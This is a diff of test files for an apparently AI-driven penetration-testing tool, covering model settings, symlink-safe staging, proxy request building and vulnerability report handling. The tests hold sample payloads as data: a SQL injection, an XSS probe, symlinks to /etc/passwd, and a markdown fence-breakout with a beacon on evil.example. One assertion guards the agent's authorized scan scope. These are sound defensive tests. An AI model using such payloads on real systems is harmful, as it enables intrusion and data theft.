assert settings.tool_choice == "required"
def test_make_model_settings_sets_request_timeout() -> None:
settings = make_model_settings(
"none",
model_name="gpt-4o",
request_timeout=300.0,
)
assert settings.extra_args is not None
assert settings.extra_args["timeout"] == 300.0
def test_make_model_settings_omits_timeout_when_unset() -> None:
settings = make_model_settings("none", model_name="gpt-4o")
assert settings.extra_args is None
def test_make_model_settings_timeout_survives_reasoning_resolve() -> None:
# Reasoning is resolved via ModelSettings.resolve(); the timeout in extra_args
# must not be dropped when a reasoning override is merged in.
settings = make_model_settings(
"high",
model_name="openai/o3",
request_timeout=120.0,
)
assert settings.extra_args is not None
assert settings.extra_args["timeout"] == 120.0
-108
View File
@@ -1,108 +0,0 @@
"""Tests for symlink-safe LocalDir staging."""
from __future__ import annotations
from typing import TYPE_CHECKING
from strix.runtime.local_dir_staging import stage_symlink_safe_dir, tree_has_symlink
if TYPE_CHECKING:
from pathlib import Path
def _make_repo(tmp_path: Path) -> Path:
repo = tmp_path / "repo"
(repo / "pkg").mkdir(parents=True)
(repo / "pkg" / "mod.py").write_text("x = 1\n")
(repo / "README.md").write_text("readme\n")
return repo
def test_tree_without_symlinks_used_as_is(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
upload_path, staged = stage_symlink_safe_dir(repo)
assert staged is None
assert upload_path == repo.resolve()
assert not tree_has_symlink(repo)
def test_in_tree_file_symlink_is_dereferenced(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "link.py").symlink_to(repo / "pkg" / "mod.py")
upload_path, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert upload_path == staged
assert not (staged / "link.py").is_symlink()
assert (staged / "link.py").read_text() == "x = 1\n"
assert (staged / "pkg" / "mod.py").read_text() == "x = 1\n"
assert not tree_has_symlink(staged)
def test_in_tree_relative_dir_symlink_is_dereferenced(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "pkg_alias").symlink_to("pkg")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert (staged / "pkg_alias" / "mod.py").read_text() == "x = 1\n"
assert not tree_has_symlink(staged)
def test_out_of_tree_symlink_is_dropped(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
outside = tmp_path / "outside.txt"
outside.write_text("secret\n")
(repo / "escape.txt").symlink_to(outside)
(repo / "abs_escape").symlink_to("/etc")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert not (staged / "escape.txt").exists()
assert not (staged / "abs_escape").exists()
assert (staged / "README.md").exists()
def test_dangling_symlink_is_dropped(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "dangling").symlink_to(repo / "does-not-exist")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert not (staged / "dangling").exists()
assert not (staged / "dangling").is_symlink()
def test_cyclic_symlink_terminates(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "self").symlink_to(repo)
(repo / "pkg" / "up").symlink_to("..")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert (staged / "README.md").exists()
assert not tree_has_symlink(staged)
def test_nested_symlinks_inside_linked_dir(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
shared = repo / "shared"
shared.mkdir()
(shared / "conf.json").write_text("{}\n")
(shared / "escape").symlink_to("/etc/passwd")
(repo / "pkg" / "shared_link").symlink_to(shared)
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert (staged / "pkg" / "shared_link" / "conf.json").read_text() == "{}\n"
assert not (staged / "pkg" / "shared_link" / "escape").exists()
assert not (staged / "shared" / "escape").exists()
-77
View File
@@ -1,77 +0,0 @@
"""Tests for the model retry policy used by every agent model call.
The SDK's built-in ``http_status`` policy only retries errors that carry a known
HTTP status code. Quota/billing (and other provider-side) failures often surface
*inside* a streamed response as a bare error with no status code, so Strix adds a
statusless retry policy to ``DEFAULT_MODEL_RETRY`` to keep them recoverable the
behavior the pre-SDK engine had.
"""
from __future__ import annotations
import asyncio
from agents.retry import ModelRetryNormalizedError, RetryPolicyContext
from strix.config.models import DEFAULT_MODEL_RETRY, _retry_statusless_provider_errors
def _context(normalized: ModelRetryNormalizedError) -> RetryPolicyContext:
return RetryPolicyContext(
error=RuntimeError("boom"),
attempt=1,
max_retries=5,
stream=True,
normalized=normalized,
provider_advice=None,
)
def _retries(normalized: ModelRetryNormalizedError) -> bool:
"""Evaluate the composed DEFAULT_MODEL_RETRY policy for a normalized error."""
policy = DEFAULT_MODEL_RETRY.policy
assert policy is not None
decision = asyncio.run(policy(_context(normalized)))
return bool(getattr(decision, "retry", decision))
def test_statusless_error_is_retried() -> None:
# A mid-stream quota/billing error arrives with no HTTP status code.
assert _retries(ModelRetryNormalizedError(status_code=None)) is True
def test_statusless_abort_is_not_retried() -> None:
# A user/client cancellation must never be retried.
assert _retries(ModelRetryNormalizedError(status_code=None, is_abort=True)) is False
def test_client_error_is_not_retried() -> None:
# A definitive 4xx client error (bad request/auth) is not recoverable.
assert _retries(ModelRetryNormalizedError(status_code=400)) is False
def test_rate_limit_and_server_errors_are_retried() -> None:
for status in (429, 500, 502, 503, 504):
assert _retries(ModelRetryNormalizedError(status_code=status)) is True
def test_timeout_error_is_retried() -> None:
# A stalled model stream trips the per-request read/inactivity timeout, which
# the SDK normalizes as a timeout. DEFAULT_MODEL_RETRY must retry it so a hung
# turn recovers instead of silently wedging the agent.
assert _retries(ModelRetryNormalizedError(is_timeout=True)) is True
assert _retries(ModelRetryNormalizedError(is_network_error=True)) is True
def test_policy_helper_matches_statusless_only() -> None:
assert _retry_statusless_provider_errors(_context(ModelRetryNormalizedError())) is True
assert (
_retry_statusless_provider_errors(_context(ModelRetryNormalizedError(status_code=400)))
is False
)
assert (
_retry_statusless_provider_errors(
_context(ModelRetryNormalizedError(status_code=None, is_abort=True))
)
is False
)
-88
View File
@@ -1,88 +0,0 @@
"""Tests for LLM model recommendation helpers."""
from __future__ import annotations
import pytest
from agents.model_settings import ModelSettings
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
is_recommended_or_frontier_model,
request_timeout_extra_args,
)
@pytest.mark.parametrize("model_name", RECOMMENDED_MODEL_NAMES)
def test_recommended_models_are_accepted(model_name: str) -> None:
assert is_recommended_or_frontier_model(model_name)
def test_request_timeout_extra_args_positive() -> None:
assert request_timeout_extra_args(300) == {"timeout": 300}
assert request_timeout_extra_args(10) == {"timeout": 10}
def test_request_timeout_extra_args_survives_model_settings_json_dump() -> None:
"""The Chat Completions and LiteLLM paths pydantic-serialize ModelSettings for
their tracing span; a non-JSON-serializable timeout fails every turn there."""
settings = ModelSettings(extra_args=request_timeout_extra_args(300))
assert settings.to_json_dict()["extra_args"] == {"timeout": 300}
@pytest.mark.parametrize("value", [None, 0, -1])
def test_request_timeout_extra_args_disabled(value: float | None) -> None:
assert request_timeout_extra_args(value) is None
def test_recommended_models_are_matched_case_insensitively() -> None:
assert is_recommended_or_frontier_model("Vertex_AI/Gemini-3-Pro-Preview")
@pytest.mark.parametrize(
"model_name",
[
"gpt-5.5",
"litellm/openai/gpt-5.4-pro",
"azure_ai/gpt-5.5-pro",
"bedrock_mantle/openai.gpt-5.5",
"anthropic/claude-opus-4-8",
"anthropic.claude-opus-4-8",
"anthropic/claude-opus-4-7",
"anthropic/claude-fable-5",
"anthropic/claude-sonnet-5",
"vertex_ai/claude-sonnet-5@default",
"vertex_ai/claude-sonnet-4-6@default",
"any-llm/anthropic/claude-sonnet-4-6",
"vertex_ai/gemini-3.1-pro-preview",
"openrouter/google/gemini-3.1-pro-preview",
"deepseek/deepseek-v4-pro",
"deepseek/deepseek-r1-0528",
"deepseek/deepseek-reasoner",
"dashscope/qwen3-max-2026-01-23",
"qwen3.7-max",
"moonshot/kimi-k2.6",
"kimi-k2.7-code",
],
)
def test_frontier_model_families_are_accepted(model_name: str) -> None:
assert is_recommended_or_frontier_model(model_name)
@pytest.mark.parametrize(
"model_name",
[
"",
"openai/gpt-4.1",
"anthropic/claude-3-5-sonnet-latest",
"ollama/llama3.1",
"deepseek/deepseek-chat",
"custom-ollama/gpt-5-mini-local",
"custom-provider/claude-opus-4-local",
"xai/grok-4.5",
"openrouter/x-ai/grok-4",
"mistral/mistral-medium-3-5",
"mistral/magistral-medium-latest",
],
)
def test_non_frontier_models_are_rejected(model_name: str) -> None:
assert not is_recommended_or_frontier_model(model_name)
-209
View File
@@ -1,209 +0,0 @@
"""Tests for the shared Caido client lifecycle and proxy call serialization.
Covers the caching + serialization guarantees of ``caido_api.call_with_client``
(the sandbox-imported path) and ``proxy.tools._call`` (the host-side path). The
Caido GraphQL transport is not concurrency-safe, so both paths must run one
call at a time against the shared client.
"""
from __future__ import annotations
import asyncio
from typing import TYPE_CHECKING, Any, cast
import pytest
from strix.tools.proxy import caido_api, tools
if TYPE_CHECKING:
from collections.abc import Iterator
class _FakeClient:
def __init__(self, name: str) -> None:
self.name = name
self.closed = False
async def aclose(self) -> None:
self.closed = True
@pytest.fixture(autouse=True)
def _clear_cache() -> Iterator[None]:
caido_api._CLIENT_CACHE.clear()
yield
caido_api._CLIENT_CACHE.clear()
async def test_call_with_client_reuses_cached_client(monkeypatch: pytest.MonkeyPatch) -> None:
cached = _FakeClient("cached")
caido_api._CLIENT_CACHE["default"] = cast("Any", cached)
async def _new() -> Any:
raise AssertionError("_new_client must not run when a client is cached")
monkeypatch.setattr(caido_api, "_new_client", _new)
seen: dict[str, Any] = {}
async def fn(client: Any) -> str:
seen["client"] = client
return "ok"
assert await caido_api.call_with_client(fn) == "ok"
assert seen["client"] is cached
async def test_call_with_client_creates_and_caches_when_empty(
monkeypatch: pytest.MonkeyPatch,
) -> None:
created = _FakeClient("fresh")
async def _new() -> Any:
return created
monkeypatch.setattr(caido_api, "_new_client", _new)
seen: dict[str, Any] = {}
async def fn(client: Any) -> str:
seen["client"] = client
return "ok"
assert await caido_api.call_with_client(fn) == "ok"
assert seen["client"] is created
assert caido_api._CLIENT_CACHE["default"] is created
async def test_failed_init_does_not_poison_cache(monkeypatch: pytest.MonkeyPatch) -> None:
async def _new() -> Any:
raise ConnectionRefusedError("caido not up yet")
monkeypatch.setattr(caido_api, "_new_client", _new)
async def fn(_client: Any) -> str:
return "unreachable"
with pytest.raises(ConnectionRefusedError):
await caido_api.call_with_client(fn)
assert "default" not in caido_api._CLIENT_CACHE
async def test_call_with_client_propagates_errors() -> None:
cached = _FakeClient("cached")
caido_api._CLIENT_CACHE["default"] = cast("Any", cached)
async def fn(_client: Any) -> str:
raise ValueError("Invalid HTTPQL filter")
with pytest.raises(ValueError, match="Invalid HTTPQL"):
await caido_api.call_with_client(fn)
assert caido_api._CLIENT_CACHE["default"] is cached
async def test_call_with_client_serializes_concurrent_calls(
monkeypatch: pytest.MonkeyPatch,
) -> None:
caido_api._CLIENT_CACHE["default"] = cast("Any", _FakeClient("shared"))
async def _new() -> Any:
raise AssertionError("no new client expected")
monkeypatch.setattr(caido_api, "_new_client", _new)
state = {"active": 0, "max": 0}
async def fn(_client: Any) -> str:
state["active"] += 1
state["max"] = max(state["max"], state["active"])
await asyncio.sleep(0.01)
state["active"] -= 1
return "ok"
await asyncio.gather(*(caido_api.call_with_client(fn) for _ in range(6)))
assert state["max"] == 1
async def test_host_call_serializes_concurrent_calls() -> None:
client = _FakeClient("host")
state = {"active": 0, "max": 0}
async def fn(_client: Any) -> str:
state["active"] += 1
state["max"] = max(state["max"], state["active"])
await asyncio.sleep(0.01)
state["active"] -= 1
return "ok"
await asyncio.gather(*(tools._call(cast("Any", client), fn) for _ in range(6)))
assert state["max"] == 1
def _headers_named(raw: bytes, name: str) -> list[str]:
head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
return [
line.split(":", 1)[1].strip()
for line in head.split("\r\n")[1:]
if line.split(":", 1)[0].strip().lower() == name.lower()
]
def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
# The captured request declared Content-Length: 12 (original body); the
# replayed body is longer. The emitted request must carry exactly one
# Content-Length equal to the ACTUAL body length, or the target truncates
# the modified payload (or the connection desyncs).
body = '{"user":"a\' OR 1=1 -- injected long payload"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={"content-length": "12", "Content-Type": "application/json"},
body=body,
)
sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
assert sent_body == body
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
body = '{"user":"updated"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={
"tRaNsFeR-EnCoDiNg": "chunked",
"Content-Length": "7",
"Content-Type": "application/json",
},
body=body,
)
assert _headers_named(raw, "Transfer-Encoding") == []
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
# A body cleared to empty must not keep the inherited (non-zero) length.
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/x",
headers={"Content-Length": "12"},
body="",
)
assert _headers_named(raw, "Content-Length") == []
class _Ctx:
def __init__(self, context: Any) -> None:
self.context = context
def test_ctx_client_returns_client_when_present() -> None:
client = _FakeClient("host")
got = tools._ctx_client(cast("Any", _Ctx({"caido_client": client})))
assert got is client
def test_ctx_client_returns_none_without_client() -> None:
assert tools._ctx_client(cast("Any", _Ctx({}))) is None
assert tools._ctx_client(cast("Any", _Ctx(None))) is None
-56
View File
@@ -79,62 +79,6 @@ def test_render_vulnerability_md_includes_core_sections() -> None:
assert "**Endpoint:** /api/login" in md
def test_render_vulnerability_md_includes_dependency_fields() -> None:
md = render_vulnerability_md(
_sample_report(
title="CVE-2021-23337 in lodash 4.17.20",
severity="high",
target="repo/package.json",
endpoint=None,
method=None,
cve="CVE-2021-23337",
cwe="CWE-94",
cvss=7.2,
fix_effort="trivial",
finding_class="dependency_cve",
evidence="**Advisory evidence:** `CVE-2021-23337` applies to `lodash`.",
assumptions="Assumes lodash ships in deployed builds.",
dependency_metadata={
"package_name": "lodash",
"package_ecosystem": "npm",
"installed_version": "4.17.20",
"fixed_version": "4.17.21",
},
remediation_steps="Upgrade to 4.17.21.",
),
)
assert "**Package:** lodash" in md
assert "**Ecosystem:** npm" in md
assert "**Installed Version:** 4.17.20" in md
assert "**Fixed Version:** 4.17.21" in md
assert "**CWE:** CWE-94" in md
assert "**Fix Effort:** Trivial" in md
assert "## Evidence" in md
assert "## Assumptions" in md
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
# LLM/target-authored PoC content containing its own ``` must not close the
# fence early and turn the injected markdown into live headings/images.
injected = "curl x\n```\n\n## Injected Heading\n![x](https://evil.example/beacon.png)"
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
lines = md.split("\n")
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
assert set(fence) == {"`"}
assert len(fence) >= 4 # wider than the payload's 3-backtick run
assert injected in md # the payload survives verbatim, inside the fence
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
snippet = "row = q()\n```\n## Injected"
md = render_vulnerability_md(
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
)
assert (
" ````\n row = q()\n ```\n ## Injected\n ````"
) in md # indented fence widened past the payload's ``` run
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
reports = [
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
-564
View File
@@ -1,564 +0,0 @@
"""Tests for restored report fields, SCA tool, and report formatting guidance."""
from __future__ import annotations
from typing import TYPE_CHECKING
import pytest
from strix.report.dedupe import (
_check_dependency_duplicate,
_prepare_report_for_comparison,
check_duplicate,
)
from strix.report.state import ReportState, set_global_report_state
from strix.tools.finish.tool import finish_scan
from strix.tools.reporting.tool import (
_do_create,
_do_create_dependency,
create_dependency_report,
create_vulnerability_report,
)
if TYPE_CHECKING:
from pathlib import Path
_CVSS = {
"attack_vector": "N",
"attack_complexity": "L",
"privileges_required": "N",
"user_interaction": "N",
"scope": "U",
"confidentiality": "H",
"integrity": "H",
"availability": "H",
}
@pytest.fixture
def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState:
monkeypatch.chdir(tmp_path)
state = ReportState(run_name="test-run")
set_global_report_state(state)
return state
async def test_create_report_persists_new_fields(report_state: ReportState) -> None:
result = await _do_create(
title="Reflected XSS in search",
description="q reflects unencoded input.",
impact="Session theft.",
target="https://app.example.com",
technical_analysis="Input interpolated into HTML.",
poc_description="1. open /search?q=<payload>",
poc_script_code="GET /search?q=<script>alert(1)</script>",
remediation_steps="Context-encode output.",
evidence="Response echoes the payload verbatim.",
assumptions="Assumes a victim opens a crafted link.",
fix_effort="LOW",
cvss_breakdown=_CVSS,
endpoint="/search",
method="GET",
cve=None,
cwe="CWE-79",
code_locations=None,
fix_pr_body="## Fix\nEncode output.",
)
assert result["success"] is True
report = report_state.vulnerability_reports[0]
assert report["evidence"] == "Response echoes the payload verbatim."
assert report["assumptions"] == "Assumes a victim opens a crafted link."
assert report["fix_effort"] == "low"
assert report["fix_pr_body"] == "## Fix\nEncode output."
assert report["finding_class"] == "dynamic"
async def test_create_report_requires_evidence_and_assumptions(
report_state: ReportState,
) -> None:
result = await _do_create(
title="X",
description="d",
impact="i",
target="t",
technical_analysis="ta",
poc_description="p",
poc_script_code="c",
remediation_steps="r",
evidence=" ",
assumptions="",
fix_effort="low",
cvss_breakdown=_CVSS,
endpoint=None,
method=None,
cve=None,
cwe=None,
code_locations=None,
)
assert result["success"] is False
joined = " ".join(result["errors"])
assert "Evidence" in joined
assert "Assumptions" in joined
assert not report_state.vulnerability_reports
async def test_create_report_rejects_invalid_fix_effort(report_state: ReportState) -> None:
result = await _do_create(
title="X",
description="d",
impact="i",
target="t",
technical_analysis="ta",
poc_description="p",
poc_script_code="c",
remediation_steps="r",
evidence="e",
assumptions="a",
fix_effort="enormous",
cvss_breakdown=_CVSS,
endpoint=None,
method=None,
cve=None,
cwe=None,
code_locations=None,
)
assert result["success"] is False
assert any("fix_effort" in e for e in result["errors"])
assert not report_state.vulnerability_reports
async def test_dependency_report_sets_class_and_metadata(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2021-23337 in lodash 4.17.20",
description="Command injection via template.",
target="repo/package.json",
cve="CVE-2021-23337",
package_name="lodash",
installed_version="4.17.20",
impact="Arbitrary command execution.",
remediation_steps="Upgrade to 4.17.21.",
assumptions="Assumes the template sink is reachable.",
package_ecosystem="npm",
fixed_version="4.17.21",
cwe="CWE-94",
advisory_cvss=7.2,
technical_analysis=None,
fix_effort="trivial",
)
assert result["success"] is True
report = report_state.vulnerability_reports[0]
assert report["finding_class"] == "dependency_cve"
assert report["cve"] == "CVE-2021-23337"
assert report["severity"] == "high"
assert report["evidence"] == (
"**Advisory evidence:** `CVE-2021-23337` applies to `lodash` "
"at installed version `4.17.20`. The advisory is fixed in `4.17.21`."
)
assert report["dependency_metadata"] == {
"package_name": "lodash",
"installed_version": "4.17.20",
"package_ecosystem": "npm",
"fixed_version": "4.17.21",
}
async def test_dependency_report_with_zero_cvss_remains_low_severity(
report_state: ReportState,
) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is True
assert result["severity"] == "low"
report = report_state.vulnerability_reports[0]
assert report["severity"] == "low"
assert report["cvss"] == 0.0
async def test_dependency_report_requires_advisory_cvss(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Some impact.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package ships in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=None,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert any("advisory_cvss is required" in e for e in result["errors"])
assert not report_state.vulnerability_reports
async def test_dependency_report_dedupe_candidate_includes_dependency_metadata(
report_state: ReportState,
monkeypatch: pytest.MonkeyPatch,
) -> None:
captured: dict[str, object] = {}
async def fake_check_duplicate(
candidate: dict[str, object],
existing: list[dict[str, object]],
) -> dict[str, object]:
captured["candidate"] = candidate
captured["existing"] = existing
return {"is_duplicate": False}
monkeypatch.setattr("strix.report.dedupe.check_duplicate", fake_check_duplicate)
report_state.vulnerability_reports.append(
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in other 1.0.0",
"severity": "low",
"timestamp": "2026-01-01 00:00:00 UTC",
"description": "Existing dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "other",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
)
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is True
assert captured["candidate"] == {
"title": "CVE-2024-0001 in sample 1.0.0",
"description": "Published advisory affects the pinned version.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
"fixed_version": "1.0.1",
},
"technical_analysis": None,
}
async def test_dependency_report_rejects_bad_cve(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="bad",
description="d",
target="t",
cve="not-a-cve",
package_name="pkg",
installed_version="1.0.0",
impact="i",
remediation_steps="r",
assumptions="a",
package_ecosystem="npm",
fixed_version=None,
cwe=None,
advisory_cvss=None,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert not report_state.vulnerability_reports
async def test_dependency_report_requires_ecosystem(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert any("package_ecosystem" in error for error in result["errors"])
assert not report_state.vulnerability_reports
def test_dedupe_comparison_preserves_cve_identity() -> None:
cleaned = _prepare_report_for_comparison(
{
"title": "CVE-2021-23337 in lodash",
"description": "Pinned vulnerable dependency.",
"target": "repo/package.json",
"cve": "CVE-2021-23337",
"dependency_metadata": {"package_name": "lodash"},
}
)
assert cleaned["cve"] == "CVE-2021-23337"
assert cleaned["dependency_metadata"] == {"package_name": "lodash"}
async def test_dependency_dedupe_uses_cve_package_identity() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in other",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "other",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Similar advisory prose.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is False
assert result["confidence"] == 1.0
async def test_dependency_dedupe_rejects_same_cve_package_identity() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample with different prose",
"description": "Different prose for the same dependency identity.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
assert result["confidence"] == 1.0
async def test_dependency_dedupe_detects_legacy_same_cve_package() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in npm sample package",
"description": "Legacy dependency finding without structured metadata.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Different prose for the same dependency identity.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
assert result["confidence"] == 1.0
def test_dependency_dedupe_defers_unclear_legacy_same_cve() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 dependency finding",
"description": "Legacy dependency finding without package identity.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_defers_legacy_package_substring_match() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample-package",
"description": "Legacy dependency finding for a different package.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_defers_legacy_ecosystem_mismatch() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in npm sample",
"description": "Legacy dependency finding for a different ecosystem.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/requirements.txt",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "pypi",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_matches_structured_missing_ecosystem() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = _check_dependency_duplicate(candidate, existing)
assert result is not None
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
def test_tool_descriptions_include_formatting_guidance() -> None:
vuln_desc = create_vulnerability_report.description
assert "markdown" in vuln_desc.lower()
assert "fenced code" in vuln_desc.lower()
finish_desc = finish_scan.description
assert "markdown" in finish_desc.lower()
assert "# Executive Summary" in finish_desc
dep_desc = create_dependency_report.description
assert "cve" in dep_desc.lower()
assert "reachab" in dep_desc.lower()
def test_vuln_tool_exposes_new_params() -> None:
props = create_vulnerability_report.params_json_schema["properties"]
for field in ("evidence", "assumptions", "fix_effort", "fix_pr_body"):
assert field in props
dep_props = create_dependency_report.params_json_schema["properties"]
for field in ("package_name", "installed_version", "cve", "advisory_cvss"):
assert field in dep_props
dep_required = create_dependency_report.params_json_schema["required"]
assert "package_ecosystem" in dep_required
assert "advisory_cvss" in dep_required
+3 -5
View File
@@ -37,9 +37,7 @@ async def test_persistent_rate_limit_stops_gracefully(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
timeout=300,
),
runtime=types.SimpleNamespace(max_context_images=3),
)
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
@@ -56,8 +54,8 @@ async def test_persistent_rate_limit_stops_gracefully(
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
return None
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse) # type: ignore[attr-defined]
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup) # type: ignore[attr-defined]
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: "")
+2 -2
View File
@@ -45,7 +45,6 @@ def _patch_engine_scaffold(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
timeout=300,
)
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
@@ -125,7 +124,8 @@ async def test_root_prompt_options_flow_into_root_agent(
assert "https://example.com" in instructions_override
assert "CUSTOM SCAN PROMPT" in instructions_override
assert (
"cannot expand, replace, or weaken authorized target constraints" in instructions_override
"cannot expand, replace, or weaken authorized target constraints"
